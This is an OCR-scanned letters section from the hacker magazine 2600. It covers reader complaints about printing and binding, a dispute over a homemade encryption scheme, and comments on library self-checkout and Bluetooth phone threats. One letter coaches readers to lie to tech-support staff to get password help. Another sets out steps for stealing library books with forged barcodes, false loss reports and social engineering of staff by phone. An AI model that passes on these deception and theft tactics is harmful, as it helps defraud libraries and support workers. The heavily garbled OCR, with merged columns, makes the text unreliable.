t ive and  may want you to descr ibe what you r  
Wi ndows C D  looks l i ke .  U s e  Goog le  I mages 
a n d  descr i be the i m age of the C D  that you 
see. Aga i n ,  we can 't tel l i f  you 're l y i ng to 
us over the phone because you are ca l l i ng 
a support tech n i c i a n  a n d  not a psych i c .  U se 
th i s  fact to you r  advantage. 

Gett ing  us  to h e l p  with passwords i s  a b i t  
t r ick ier. Somet i mes if  there i s  a password for 
Windows X P, you can boot i n to Safe Mode 
and logi n as  the a d m i n i strator and get i n  

t o  down load from the a rch ive. Peop l e  d o  i t  
a nyway, but you rea l ly shou l d  m a ke su re that  
you don ' t  se l l  the materi a l  you fi nd  a n d  use 
i t  for  "educat iona l "  il n d  " a rch iva l "  p u rposes 
o n l y. 

If you have any f]uest ions ,  p lease Jlost i n  
m y  forums at h t Lp , / / www . mat. tparne 

- forums or ema i l  me. 

It " 
without a password. If you can 't get i nto 
Mode without a password, we won 't be a b l e  
t o  he lp  you .  W h a t  you need t o  do is  th i s :  Te l l  
u s  that someth i ng i s  prevent i ng you from 
sta rt i ng  Wi ndows norma l l y and  you need 
he lp  back i n g  up you r  data in Safe Mode. 
Te l l  us  you can 't get i nto Windows norma l l y  
beca use of a v i rus, a power su rge, you r  k i d  
tr ied t o  i nstil l l  h i s  P S 2  ga me i n  W i ndows a n d  
hosed t h e  system, or y o u  opened t h a t  p i cture 
of Br i tney Spears that you r  boss sent to you . 
Whatever you do don't ment ion that there 
i s  a prob lem with you r  password . B etter yet 
don't even ment ion the word password.  A 
l ot of tech n ic i a n s  at Gateway wi l l  refuse to 
he lp  you if  they suspect that you a re ca l l i n g  
i n  about a password issue.  

I f  you need to reset you r  B IOS password, 
ask us  to h e l p  you rep l ace the battery on 
you r  motherboard . Rep l a c i ng th i s  battery 
w i l l  reset you r  password without you even 
need i ng to ment ion the password issue to the 
tech n i c i a n .  

Another part o f  o u r  j o b  i s  sel l i ng you 
th i ngs that you don't need. Most of the 
secu r i ty softwa re that we se l l  i s  worse than 
programs such as AVG a n d  Ad-Aware that 
you can dow n l oad for free. Some emp loyees 
a re sa lesmen pos i n g  as  tech n i c i a n s  a n d  wi l l  
try to se l l  you a new system when il l l  you 
need to do i s  re load your operat i n g  system.  

When you ca l l  you a re rea l ly p l ay i ng the 
lottery. You a re gam b l i ng that you w i l l  reach 
a good knowledgeab le  tech n i c i a n  that knows 
what h e  is do i ng.  Most of the t ime you wi l l  
l ose. 

Be carefu l when you ca l l  for su pport on 
you r  computer. I can o n l y  comment about 
how Gateway operates, but I suspect that 
most other compa n i es' support centers 
wou l d  be about the same. 
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Dear 2600: 
H i there. Been read i ng you r  magaz i ne off 

and on for over a decade. I h ave a couple 
of good ideas for a rt ic les but I ' m  not sure i f  
the subject has been covered in  past i ssues.  
I t  wou ld  be n ice to see a l i st of past a rt ic le  
t i t les  and subjects on you r webs i te.  I f  there i s  
a l i st a l ready, i t  wou ld  b e  n i ce t o  see i t  i n  a 
more access i b l e  location on you r  webs ite as 
I cou l d n ' t  f ind it .  Tha n ks for everyth i n g  you 
do for the com m u n ity at l a rge and for part ic i ­
pati ng i n  o u r  constitut iona l  freedoms i nstead 
of j ust hav ing  them. 

LOp k 
We do have a list that:, available in the back 

issue section of our online store (store .2600. 
com) on an issue by issue basis .  You 're right -
we can certainly do better and make this more 
cen tralized and organized. We 've added it to 
our huge list of things to improve. 

Dear 2600: 
Wh i l e  try i n g  to put together some a rt ic les I 

want to submi t, I rea l i zed there seems to be a 
trou b l i n g  lack of i nformation ava i lab le  about 
submitt i n g  mater i a l s  to 2600. Su re, we a l l  know 
what ema i l  addresses to send our  l etters and 
a rt ic les to, but beyond that  the 2600 s i te i s  not 
very he lpfu l .  I find myse lf pag i n g  through back 
i ssues hop i n g  that somebody has a l ready sent 
in a letter ask ing  the q uest ion I want a n swered . 
I t ' s  a b i t  strange that a maga z i n e  devoted to 
soc iety ' S  r ight to the free express ion  of ideas 
and the exchange of i nformation wou ld  be so 
i m pass ive on how exact ly  one wou l d  exerc ise 
those r ights. 

At least once a n  issue I see a letter from 
somebody ask ing  i f  such and such an art i c le  
wou ld  be accepted if  they were to  write i t .  
There i s  usua l ly a letter ask ing  if  2 600 wi l l  
protect the author ' s  ident ity shou ld  there be a 
back lash after the art ic le  went to pr int  i n  each 
issue as wel l .  These repet itive q uest ions, wh i le 
certa i n l y  i m porta nt, a re rea l l y j ust a waste of 
paper when consta nt ly rep r i nted . 

Perhaps eq u a l ly as lematic as the 
quest ions  that a re constant ly  a n swered are the 
ones that a re never answered . For i n stance, 
how many characters per l i ne  shou ld  one have 
i n  the i r  a rt i c le ?  Shou ld  an author send i n  a n  
i m age t o  be used for t h e  top ban ner above thei r 
a rt ic le, or do the ed i tors h a n d l e  that? If you 
wa nt the a rt ic les to be wr itten in p l a i n  ASC I I  
text, how d o  w e  convey t o  t h e  ed i tors if  we 
want some parts to be i ta l i c i zed or bolded? 

N ow obvious ly  you try and keep the 
req u i rements down to a m i n i m u m  to make 
th i ngs eas ier  for the author or to accommodate 
to the i r  s i tuat ion,  which is defi n i te ly  the r ight 
approach to take. B ut c lear ly the ed i tors a l so 
have preferences as to how th i ngs shou ld  be 
done to make thei r  l ives easier, and given the 
opportun ity I wou l d  l i ke to adhere to those 
preferences as c l osely as poss i b le.  

I th i n k  i t  wou ld  be very hel pfu l to create a 
FAQ with these types of quest ions  that cou ld  
go u p  on the  2600 website.  The ed itors cou ld  
write up the core content, and then  perhaps 
the long t i me submitters to the maga z i n e  cou ld  
add i n  the i r  own t ips or com ments v i a  ema i l  to 
whoever wou ld  be i n  charge of m a i n ta i n i ng 
the FAQ. 

Idea l l y  it wou l d  be a w i k i  page where the 
2600 com m u n i ty as a whole cou ld  document 
the i r  experiences with the s u b m i ss ion  process, 
but the t ime and resou rces req u i red to get that 
ru n n i ng rather than j u st putt i n g  up a s imp le  
text fi le  a re u nderstandably pro h i b i t ive. 

Such a document cou ld  rea l l y  help ease 
concerns and c lear up confus ion for a uthors 
who are hesitant about send i n g  someth i ng 
i n .  It cou ld  o n l y  have a pos i t ive effect on the 
com m u n i ty, and with l uck m ight even spur an 
i nfl u x  in submitted mater ia l s .  

MS3FGX 
It's not really fair to say we 're "impassive " 

on this or that it has anything to do with free 
expression. We're just incredibly busy and we 
thought the word was already out on how to 
submit articles properly. Anyone emailing us 
gets an automa tic reply with guidelines. There 's 
no real way to avoid repeating ourselves for the 
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benefit of those who don't read wha t  is said 
online. We intend to make the online guidelines 
more detailed but again tha t won 't do anything 
for the people who don 't see them. As for ques­
tions tha t  are ., never answered, " it's not part of 
anything intentional. It's possible nobody has 
ever asked us how many characters per line an 
article should have. (This is irrelevant  as we do 
all the forma tting here.)  There are many ways 
to con vey emphasis in ASCII text - you don 't 
need us to tell you how (we hope) . And if we 
expected our writers to put together the layout 
design, we would certainly have made tha t  
clear. Wha t  do you think the odds would b e  o f  
everyone doing tha t  on their own without our 
saying a word up until now? 

The idea of a FAQ is a good one and it 
probably wouldn't require much more lime 
to put together than wha t  we've already spen t 
here on this issue. 

Complaints 
Dear 2600: 

The new pr i nters shou l d  be l ocked in tbe 
bathroom with noth i ng to read except for 
exam p les of the i r  own work. I bought my copy 
of 2 3 :4 at my loca l Borders store l i ke I usua l l y  
d o .  (They d i s p l ay i t  p ro m i nent ly  a n d  t h i s  t ime 
it  had i t s  own I i t t le  w i  re  rack fastened to  the  
wooden newsstan d  rack, r ight i n  front  of a l l  the  
soc iopo l i t ica l  p u b l icat ions that  range from the 
Utne Reader to  The Advocate. )  I p u l led a c l ea n  
u nwri n k led copy from t h e  m i d d l e  o f  t h e  slack 
and observed i ts new square g l ued b i n d i ng.  
After looking a ro u n d  for a few m i n utes at other 
books a n d  magaz i nes in  the store, I noti ced my 
fi ngers were sti c k i n g  to the cover. . . .  

I d i d n 't actu a l ly open the maga z i n e  
a n d  read i t  unt i l I got h o m e .  T h e  fi rst th i n g  I 
noti ced upon read i ng the i ns ide cover with the 
payphones was that i t  was rea l l y  hard to read 
some of the text. The wh i te text on the b lack 
backgrou n d  was n 't rea l l y  the prob lem;  rather, 
the p r i n t i n g  was j ust rea l l y  wea k i n  p l aces, with 
some of the l ette r i n g  near ly  m i ss i n g  a l together. 
And I thought I p i c ked a good copy out of the 
p i l e !  Th i s  sectio n a l  fad i n g  was a l so p resent on 
some of the i ns ide  pages as wel l .  

After rea d i n g  about ha l fway through the 
i ssue, I n ot iced my fi ngers had b l ack a l l over 
them and that i t  was rubb i ng off on  the i n s ide 
pages. I thought  the p r i n t  on  the i ns i de pages 
was smea r i n g  a n d  i t  may have actu a l l y  been 
do ing  so s l i ght ly, but i t  was m a i n l y  the b l ack 
from the rear cover and both i ns ide covers that 
was com i n g  off on  my f ingers, m a k i n g  them 
st icky and sm udgy and leav i ng my f ingerpr i nts 
where o n l y  so l i d  b l ack had been before. P l ease 
fi re you r  new pr i nter or  force them to do the 
job proper ly  as  th i s  i s  u nacceptab le .  I wou l d  

rather p a y  a l i tt l e  more for a so l i d  cover that 
does not come off on  my hands and gets a l l  
over everyth i ng, as  I reread these back i ss ues 
a n d  refer to them often .  I hope you can e l i m i ­
n ate th i s  problem i n  t i m e  for y o u r  next i ssue.  

O n  a nother top ic ,  the a rt i c l e  o n  red box i ng 
seemed a l i tt le  out  of date, as the a uthor kept 
referr i ng to SBC when SBC bought out AT&T 
months ago a n d  has now d ropped the SSC 
name a l together (a long w i th much of the i r  
q u a l i ty control/ma i ntenance a n d  near ly  a l l  
of the i r  customer serv ice) . Perhaps the author 
m i ssed you r  "Jo i n  U s  A s  We R i se Aga i n "  cover 
(or perchance it  sat on the she lf  a whi Ie  before 
you got a ro u n d  to p u b l i sh i ng i t ) ?  

In  a n y  event, keep u p  the good work.  Gatta 
go, Futurama 's o n .  

Guitarmaniax 
The ink problem was resolved with the 

last issue (24 :  1 ) .  We're hoping the fading you 
mcntioned was a fluke as we haven 't heard of 
tha t problem. We apo/ogiLe for any incon ve­
nience or dirty hands that  came out of this .  

Dear 2600: 
I appreci ate the move to a new pr i nter to 

keep costs dow n .  H owever the l atest copy I 
rece ived has a b i t  of a prob lem.  The i n k  on the 
s p i n e  and back cover does n ' t  seem to have been 
"sea led" in the same way as the front cover. 
Wh i l st i t ' s  br ief ly  enterta i n i ng to d i scover the 
i n k  com i n g  off on  my fi ngers (much l i ke news­
papers of o l d) ,  i t  q u i c k l y  becomes a n noy i n g !  

I hope th i s  w a s  j u st a g l itch i n  t h e  cu rrent 
run of magaz i nes and wi l l  be fixed in futu re 
pr i nts .  B u t  as ide from that, keep up the good 
work!  

Minstrel 
Consider il our nod to the ncwspaper 

printers of years gone hy. Where would we be 
without them ? 

Dear 2600: 
I read that you changed pr i nters for the 

wi nter i ssue .  I ' ve noti ced a few bugs with 
the new b i n d i n g  and pr i nt i ng.  You may have 
a l ready noticed them too but the n itp icker i n  
m e  i s  compe l l ed t o  po int  them out .  

With the new st iff sp i ne, the maga z i n e  
does n ' t  o p e n  out f l a t  l i ke i t  used t o .  T h e  page 
layout does n ' t  seem to take th i s  i nto account  
a n d  the marg i n s  a re too c l ose to  the center 
b i n d i ng so that pa rts of words get cut  off. I 
had to bend the covers back a n d  rea l l y  c rease 
the s p i n e  to be ab le  to read words c l ose to the 
center. In the process of d o i n g  th i s, the i n k  
on the pages smeared a n d  came off on  my 
hands .  

I rea l l y hope you ' l l  be ab le  to  work  out 
these bugs.  I ' ve enjoyed the magaz i ne for a 
long t i me, and  I look forward to rea d i n g  it i n  
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the future. 
Jacqueline 

The margin issue was also sorted out for 
the last issue so hopefully this is no longer a 
problem either. 

Dear 2600: 
I j u st wa nted to vo i ce my o p i n i o n  of t h e  

n e w  pr i n t i ng sty l e  o f  2600. W h i l e  t h e  b i n d i n g  
i s  k i nda coo l ,  i t  makes t h e  maga z i n e  qu i te a b i t  
h a rder t o  rea d .  Th i s  i s  espec i a l l y  t h e  case when 
I try to p rop i t  open in fro n t  of my keyboa rd for 
perusa l wh i l e  at work.  Th i s  is now i m poss i h l e .  

OK,  so I ' m  n o t  rea l l y opposed t o  t h e  ent i re 
new s ty le .  The b i nd i ng is great because it a l l ows 
for more content in the maga z i ne itse l f. The 
b i n d i n g  is not great because the text extends 
so c l ose ly  to the sp ine that  i t ' s  a rea l pa i n  to 
read any of the words on the extreme r ight­
hand  s ide of the even pages a n d  the extrpme 
l eft-hand s i de of the odd pages . U g h !  

I t ' s  a l most l i ke i t ' s  sti l l  bei n g  pr i n ted i n  
sta p l e-sty l e  where t h e  maga z i n e  eas i l y  opens 
a l l  the way and a l l ows u nobscu red access to 
ewn the most extremely j u sti f ied text. 

Anyway, I ' m  not rea l l y  com p l a i n i ng but 
i n stead j ust hop ing  to i n form you of someth i n g  
t h a t  I ' ve fou n d  i s  c a u s i n g  me t o  have t o  nea r l y  
destroy my maga z i n e  t o  read a l l  o f  the text. 

I know that the new b i n d i n g  sty le  won ' t  
cha nge a n d  I don ' t  rea l l y wa nt i t  to. The maga­
z i nes w i l l  stack much more n i ce ly  now. I ' m  
j ust hop i n g  that the text c a n  b e  b rought a b i t  
further f rom the b i nd i ng itse l f  to make i t  eas ier  
to rea d .  

Tha n ks for rea d i n g  a n d  t h a n ks for wr i t i ng .  
mikes 

There are indeed positive elemf'nts to the 
new binding and we hope to be able to take 
advantage of as many of them as possible. 
Since fixing the problems tha t  admittedly never 
should have occurred in the first place we 
haven 't received any specific complaints. 

Dear 2600: 
I l ove your p u b l i cati o n .  I ' ve been a reader 

for some years n ow. 
I have one com p l a i nt .  As perhaps one of 

you r  o l der readers, I have a very hard t ime 
read i n g  you r  a rt i c l es due to the  s i ze of the pr i nt.  
Otherwi se, you have a great pub l icat i o n .  

A Fan 
We 've heard this complaint since we started 

printing in the 1 9805. We could prin t larger 
but then we would have to either a dd a lot of 
pages or print less ma terial. I t's a precarious 
balanCing act. We will at the very least  commit 
to not making the type size any smaller. 

Dear 2600: 
I am a reader of you r  magaz i ne s i nce 
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2 0 0 1  a n d  I l ove i t .  My concern i s  about  the  
new b i n d i ng of  the magaz i n e .  I do not l i ke 
it because you c a n not fo l d  i t, is d i ffi c u l t  to 
read it when you approach to the b i nd i ng, 
and the l ast and more i m porta n t  i ssue is that 
the pages tend to take off itse l f  and sta rt i t  to 
fa l l  dow n .  So p l ease, if you can ,  return  to the 
o l d  b i n d i n g, i s  s i m p l e  a n d  good.  I hope you 
u n dersta nd my poor Eng l i s h .  

Ignacio 
Well, we gave it a shot but we 're not really 

sure wha t you mean by falling down . We 
would certainly like to find out. Fortuna tely, 
we haven 't heard anything similar to this . 
Ever. 

Dear 2600: 
Here i s  a nother vote for sta p l es !  J u st out of 

cur ios i ty, what wou l d  be the per i ssue pr ice 
i ncrease (at  least  a n  est i mate) i f  you guys go 
back to stap les?  I u n dersta nd that you wou l d  
a l so have t o  switch (aga i n )  pr i nters . 

SiKing 
It would be a major hassle to s witch again 

and we 're not convinced tha t  staples are 
anything but a personal preference. There 
are advantages and disadvantages to every 
method and we see a lot of potential with thp 
cum'nt style of binding. Our major concern is 
solving the problems mentioned above which 
we believe have been addressed and dealt 
with . 

Response to Articles 
Dear 2600: 

I wou l d  l i ke to b r i n g  to you r  attent ion  
the a rt i c l e  "A lgor ith m i c  E n c rypt ion Without 
Math" in 2 3 :4 .  In  case you were j u st check i n g  
if  you r  readers a re as leep (or  b l i nd or  dead for 
that matter), we a ren ' t, tha n k  you very much 
(and ignore the rest of th i s ) .  

Otherw i se you  wasted e ight  fu l l  pages i n  
your m agaz i ne for  some c ra ppy a l gor i thm that 
i s  no  better than what some of u s  i n vented 
back when we were in the fifth grade. The 
a uthor ( referred to as "he" from now on) ca n ' t  
even coherent ly  describe the a l gor i thm (try 
to fo l l ow what he does i n  the fi rst part and  
see  i f  you  can  i mp l ement the a l gor i thm based 
on  h i s  descr ipt ion ) .  He does n ' t  te l l  u s  aga i n st 
what h i s  a l gor i thm i s safe .  ( I  assume he has 
no  idea about a n y  c l ass ica l  attacks aga i n st 
sym metr ica l  cyphers - I guess he doesn ' t  
even u nderstan d  t h e  d i fference between 
PCP for "messages" a n d  h i s cypher which i s  
symmetr ica l . )  

What about t h e  " thousands o f  d o l l a rs"  
we cou l d  win for brea k i n g  his  encryptio n .  
Does n ' t  th i s  seem susp ic ious?  Where, how, 
how m u c h ?  ( I f  there ' s  a pr ize assoc iated wi th  
th i s  he cou Id  at l east te l l  u s  how much i t  i s  - i s  
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it $2 000 or is it $ 2 00,OOO!)  
He te l l s u s  how "the experts" th i n k  you 

need " h igher l evel mathemat ics"  for  "a  secu re 
c rypto program ." Th i s  is fa l se .  You don ' t  need 
h i gher leve l mathemat ics for a c rypto progra m 
- i n  fact a nybody c a n  p roba b l y  du:  
http : / /en.wikiped i a . org/wiki/CipherSaber 

on paper without a computer (and the a l go­
r i thm is reasonab ly  sec u re when used wi th  a 
good key) . There ' s  a l so :  
http ' l len w l k l pedl a  org/w l k l j Sol ltalre 
.. ( cipher ) 

w h i c h  c a n  be i m p l emented w i t h  a deck of 
c a rds a n d  aga i n  it is q u i te sec u re. 

However, " h i gh level mathemat ics"  is 
req u i red for crack i n g  even the s i m p lest c i phers .  
And if  you don ' t  know how to c rack any a l go­
r i thm how can you c l a i m  yours i s  secu re (by 
the way he does n ' t  ment ion aga i n st what type 
of attacks h e ' s  safe a n d  why - he o n l y  ment ions  
how the a l gor i thm i s  unsafe) { !  By part i c i pat ing  
i n  a Usenet newsgroup for seven month s ? !  (By  
the way, he fa i l s  to  ment ion that  t h i s  h a ppened 
in 1 996. )  I guess i f  I stay on I Re for h a l f  a yea r 
I c a n  be an astro n a u t  as wel l !  

I ' l l  stop here for now. Ta ke c a re a n d  greet­
i ngs from the o l d  E u rope. 

aa2600 

Dear 2600: 
Tha n k  you for p u b l i sh i ng my a rt i c l e  

"A lgor ith m i c  E n c rypt ion Without Math . "  The 
fo l l owi n g  text i s  my response to " D ave" whose 
letter you p u b l i s hed in response to the a rt i c l e .  

Dave, I ' m  sorry y o u  d i d n ' t  read the code 
for "A lgor i t h m i c  E n c rypt ion  Without Math"  as  
you wou l d  h ave d i scovered some t h i ngs B ruce 
Schneier does n ' t  wa nt you to know. F i rst, the 
code i s  in i t s l 1  th yea r, offeri ng cl $ 1 0,000 cash 
award to any ser ious  orga n i zat iun that  can 
crack i t  with a n  u n l i m i ted p l a i ntext a ttack.  I n  
m y  two yea rs as  moderator of a Dr. Dob b ' s  web 
forum,  the program s u rv ived n u merous c h a l ­
lenges.  More i m porta nt ly though,  t h i s  p roject 
is not about h ilY i ng a s l ick  l i tt le  p rogra m that  
demonstrates yet a n other form of encrypt i o n .  
I t ' s  about ord i n a ry peop le  l i ke y o u  a n d  m e  
own i ng t h e  ent i re process o f  sec u r i n g  o u r  f i les 
from govern ment or other  snoopi ng, and not 
hav ing to trust "experts" who m a ke progra ms 
so complex that we ca n ' t  va l id ate them or 
rea l l y  know that they ' re sec u re .  

Peop le  who have spent  a lot  of t i me on 
c rypto forums k now two th i ngs for cert a i n .  
One, that math -h.lsed progra ms a re not guar­
a n teed to be secu re, s i nce nobody can  prove 
mathemat i ca l l y that the a l gor i th ms  a re sec u re, 
a n d  two, that the q u a ntum computers be i ng 
deve loped wi l l  eas i l y  dec rypt the i r  c i pher­
text. My a l gor i thm attem pts to approach true 
ra ndom ness by m u lt i - l ayer s h u ffl i ng, not as 

you desc r i bed. but as  lotter ies a n d  other sh uf­
fl i ng  systems do.  

My method does not use the pseudo­
ra ndom ar ray for hit moves, i t  u ses the re la t ive 
s i zes of e l ements of that a rray. w h i c h  is equ iva­
lent to b u i l d i ng a l a rge l att ice a s  fo l l ows.  In th i s  
exa m p l e, we s i m p l i fy t h e  l o o k u p  ta b l e  a n d  u se 
32 n u mbers o n ly :  
5 ,  6 ,  17 , 14 , 1 0 ,  2 6 ,  2 5 ,  2 0 ,  1 5 , 1 , 1 2 , 
2 1 ,  1 8 , 1 3 , 2 7 ,  2 4 , 7 , 3 0 ,  3 ,  16,  2 9 ,  
2 ,  3 1 ,  9 ,  2 3 ,  19 ,  2 8 , 8 , 1 1 ,  4 , 0 ,  2 2  

The fi rst va l u e  determ i nes the gro u p  s i ze 
(5 ) ,  a n d  so the fi rst l att ice' row w i l l  conta i n  the 
re l at ive s i zes of the next five va l ues :  1 ,  4, 3 ,  2, 
and 5. The second l att ice row beg i n s  wi th a 
gro u p  s i ze of 6, a n d  the re l ative va l ues a re 3 ,  
2 , 1 , 6, 5 ,  a n d  4 .  

You c a n  see that with t h e  c u rrent lookup 
tab le  i m p lementat ion ,  the l att ice becomes 
very l a rge. Now p i ctu re a l att i ce with a t r i l ­
l i o n  rows o f  ra ndom s i ze each,  exp,mded 
to 1 2  d i mens ions .  The prob lem i s  not th<1t a 
q u a n t u m  computer (never m i n d  a conven­
t i o n a l  computer) c a n ' t  rep l i cate th is l att ice 
in re,1 1 t ime and apply XOR m a s k i n g  to the 
c i p hertext for a l l  poss i b l e  permutat ions  of the 
text. The prob lem i s  that XOR does n ' t  work on 
shuffled text - the  b i ts have to he physi c a l l y  
moved a n d  there i s  110 fea s i b l e  way (you try it)  
to do that o n  a ny computer. 

Keep i n g  in m i nd the aforement ioned 
contest and aWilrd, i f  you sti l l  h ave doubts 
about  the secu r ity of t h i s  a l gor i t h m ,  try to 
u n dersta nd my fu nda menta l des ign  - to 
a pproach true rd ndomness by s h u ff l i ng i n  
m a ny sepa rate passes tha t  h ave no re l a t i o n s h i p  
t o  e a c h  other. T h e  b i ts have t o  b e  phys ica l l y  
moved, a m i  there i s  no math s h ortc ut for that  
process. I f  i t  turns  out  tha t  ,1 Cj u a ntum computer 
c a n  ca l c u l ate the fi n a l  res h u ffled b i t  pos i t ions  
us ing  somet h i n g  l i ke the l att ice I descr i bed, i t  
s t i l l  h a s  two for m idab le  tasks to perform that 
a re not assured in any seen,1 r i o .  T h e  q u a n t u m  
computer st i  I I  has  t o  move the b i ts for each  
test a n d  perform lex i c a l  a n a lys i s  of  the res u l t  
as  we l l  becduse there i s  no "test" dec rypt ion 
mask  tha t  c a n  be app l ipd to  s h u ffled b i t s .  

dthorn 

Dear 2600: 
What ' s  the dea l with Byro n  B ussey ' s  

"exp l oit"  (2 3 :4 ) which  bas ica l l y  i nvol ves a 
hypot heti c a l  scheme where someone cou l d  
stea l exppns ive books from a l i bra ry b y  demag­
net i z i n g  two at a t i me!  I can t h i n k  of at I past 
two other better ways of do ing  i t .  

1 )  Use a t i n fo i l - l i ned bag or s i m p l y  remove 
the magnet ic  tag .  Th i s  has  been done for a long  
t ime a n d  i s  a l so known as  shop l i ft i ng .  Th i s  i s  
n o t  tech n i ca l l y a n  exp l o it; even d u m b  peop le  
c a n  a n d  w i l l  do it .  A l though a s  dumb as  i t  
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i s ,  i t ' s  smarter than  Byro n ' s  scheme - at least 
there ' s  less chance of gett i n g  caught than by 
b l ata nt ly  stack i n g  two books at a time onto the 
reader. 

2 )  Create you r  own bar code u s i n g  softwa re 
l i ke " B a r  Code Pro" fou n d  on P2 P s i tes. U se 

I wonder if you ever d i d  an a rt i c l e  about these 
an noy i n g  i ntrus ive "sec u r ity" sensors. Tha n ks .  

Ugg 
We would certainly be extremely interested 

in learning all about them. 

the code from cheap books l i ke paperback Dear 2600: 

nove l s . When you go to sca n you r  books, the H owdy ! Th i s  is the fi rst t ime I have wr i tten 
a utomated reader wi l l  sca n the new codes you to 2600 and o n l y  be i ng a reader for a l i tt le  over 
have c l ever ly  taped over the old ones. Sel l the a yea r and cons ider i n g  the tech n i ca l  natu re of 
books, report the books as lost, a n d  dut i fu l l y many of you r  a rt i c l es, I certa i n l y  never thought 
pay you r  f ine .  Make sure to sta mp the books I wou l d  actu a l l y  be in a sem i - know ledgeab le  
withdrawn so buyers won ' t  suspect they ' ve pos i t ion  to do so. 
been sto l e n .  After rea d i n g  Toby Z i m merer ' s  p i ece about 

For added secur i ty, get a new l i brary card . secu r i ty issues with mob i l e  devi ces i n  2 3 :4 
Sounds tough ? If you r  l i brary card has a bar I thought I wou l d .  F i rst ly, the facts of Toby's 
code on the back, use you r  software to create a rt i c l e  are genera l l y  fi ne, but I do th i n k  he 
a new acco u nt n u m ber. I f  i t  uses a magst r ipe pa i nted a somewhat a l a rmist p i cture.  
you r  job w i l l  be h a rder but not i m poss i b l e .  In I h ave been us ing va r ious  mob i l e  devices for 
Byron ' s  a rt i c l e  he descr ibed a system where a n u mber of yea rs:  Pa l mOS, W i n C E, Symb ian ,  
patrons  had to  enter a fou r  d i g i t  code based on and cu rrent ly  W i ndows Mob i le  5 .  As a p i cky 
the i r  phone n u m ber. You ' l l  have to soc i a l  eng i - poi nt, W i ndows was mak ing a consu mer OS 
neer  ad m i n i strat ion over the phone - te l l  them for mob i l e  devi ces we l l  before the i Paq, the 
you forgot you r  code and no l onger use the fi rst of which tr ied a n d  fa i l ed to emu l ate the 
phone n u mber in quest ion . H ave them enter Wi ndows 95/98 i nterface. 
a new n u mber. I f  you do t h i s, you won ' t  even Toby desc r ibes i ssues with B l uetooth hacks 
have to pay you r  f i ne !  or  snarf ing, as i t  became know n .  He descr i bes 

W h i c h  i s  not to say that I advocate theft an exa m p l e  at an I nterop show where 60 open 
from l i b ra r ies.  Peop le  who stea l books a re the devi ces were fou n d .  The prob lem with this as 
lowest of the l ow. L i brar ies a re wonderfu l i nst i- a hack i s  that wh i l e  the phone does broadcast, 
tut ions whose m i ss ion is to spread knowledge the other user is req u i red to author ize any 
wh i l e p rotect i ng o u r  pr ivacy. send i n g  of fi l es by mea ns of e ither a yes/no 

J 8  entry or  b y  f i rst ly pa i r i n g  the device with the 
There 's a big difference between advo- sender. Both req u i re the user to consent.  

ea ting theft and learning how a system works There was a l a rger i ssue with  a few Sony 
and how it could be compromised. Your ideas Er icsson a n d  N o k i a  phones of a part i c u l a r  
along with those of the origina l  a u thor have ROM rev i s i o n  that req u i red l ess user i nvo l ve-
probably contributed towards the e ventual ment, but t h i s  was a cou p l e  of years ago, a n d  
design of a better system. There are 50 many from that the r isk i s  pretty sma l l .  Consider how 
people who don 't understand the hacker fast the mob i l e  market operates to see that a 
men tality and who have a grea t dea l  of diffi- sec u r ity th reat to a phone th ree or fou r  years 
culty with this concept. We hope tha t  wha t 's  in old i s  a very sma l l  th reat i ndeed. 
our pages helps to define the difference. You a re a b l e  to send messages to a n  open 

B l uetooth devi ce, and i ndeed much fu n can 
Dear 2600: be had by send i ng messages to peop le  on the 

I read a b l u rb in a recent issue about bus and watc h i ng them as they look a ro u n d  
defeat i n g  a l i brary self-checkout. I t ' s  o l d  news. wonder ing  who sent i t  ( "hello sexy with the 
I ' ve been there, done that.  However, one sma l l  glasses and big nose ! ") .  B u t  aga i n  t h i s  prox i m i ty 
correct ion ,  at l east i n  my hometow n :  If you do is the issue as fa r as a rea l th reat is concerned . 
r u n  more than  one book through the mach i ne I nc identa l l y  t h i s  is genera l l y referred to as 
at a t i me, i t  shou l d  demagnetize a ll of them and " B l ueJack i ng." And we rea l l y h ave to acknow l -
t h u s  they wou l d  not tr i p  an  a l a r m .  M i n d  you,  edge that many peop le  do actua l l y switch off 
it is not foo l p roof - it does n ' t  a l ways get them B l uetooth as i t  d ra i n s  the battery. 
but it usua l l y does, and of cou rse the "secur i ty" The other t h i n g  that I fe l t  cou l d  rea l l y  
gates a re notor ious for tr i p p i n g  fa l se a l a rms have done with a fu l l e r  desc r i pt ion was 
so I doubt they ' d  have much of a case aga i nst rega rd i ng how the SMS/B l uetooth pay l oads 
you .  W h i c h  rem i nds me, after the h a rassment actua l l y worked from the rec i p i ent's sta nd-
I received l ast yea r about a fa lse a l legat ion at  poi nt.  For exa m p l e  the CommWarr ior  v i rus,  
a record store (yea h,  the term shows my age) be i ng a . S I S  f i le ,  wou l d  mea n that i t  wou l d  
from some item I p u rchased (ser ious ly, I pa id  o n l y  effect Symbian  phones a n d  wh i l e  i t  may 
for it )  at a n other store that tr i pped the i r  a l a rm, SMS everyone in you r  phone book, i t's not 
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spread i n g  i tse lf  i n  the trad i t iona l way. There i s  
end u s e r  damdge, but  l i m ited i m pact as  fa r as  
user base i s  concerned.  Very l i m i led . 

The Sku l l s troj a n  ment io ned Cdmc from 
down load i ng warez and wou l d  o n l y  d i sa b l e  
the "sm,Hlphone Iype" fu n c l i o n s .  Much l i ke 
OneHop a n d  o l h e r  va r ia nts - I n ternet i nc l uded 
- the phone itse l f  wou l d  st i l l  work, but  l a c k i n g  
I nternet wou l d n ' l  gel oul of I h e  h a n d set. 
V i ruses u s i ng B l uetooth as the method of 
tra n s m i ss ion ,  aga i n ,  l a rge l y  wou l d  req u i re user 
i n tervent i o n .  

N ow w e  do know thai  peop le  a re i d i ots, 
or, erm u n s k i l l ed in the ha rdwa re they own ,  
b u t  open i n g  a n  atlachmenl  car r ied bv B l ue­
tooth wou l d  mea n open i n g  a fi l e  I h a l  you 
know somebody has sent you because they 
a re next to you or be i n g  ddft enough to open 
,m a ita c h lllcn i  sent by a slranger on a hus or 
tra i n .  Yes, some wou l d  do it, but ,1 c i tywide 
v i ru s  outbrea k?  

Toby c l oses by  ment i o n i n g  I h a l  a n l i -v i ra l  
soitwd re i s  dva i l a b l e .  I ndeed i t  i s  a n d  has  been 
a non-se l le r  for d few years now a nd, to be 
honest, I th i n k  i t  w i l l  con l i n ue to he so.  

The b i ggest v i ru s  th reat contd i ned wi th i n  
mob i l e  devices h a s  a n d  a l ways w i l l  b e  t h e i r  
u s e  t o  access bus i ness nelwork resou rces. As 
sta nd-a lone devi ces there are j ust not enough 
in  the same v i c i n i ty for i t  t o  b e  a s i g n i ficant  
prob l e m .  I t  wou l d  m a ke as  much  sense buy ing  
ant i -v i ru s  software for a mob i l e  dev i ce ,1 S  i t  
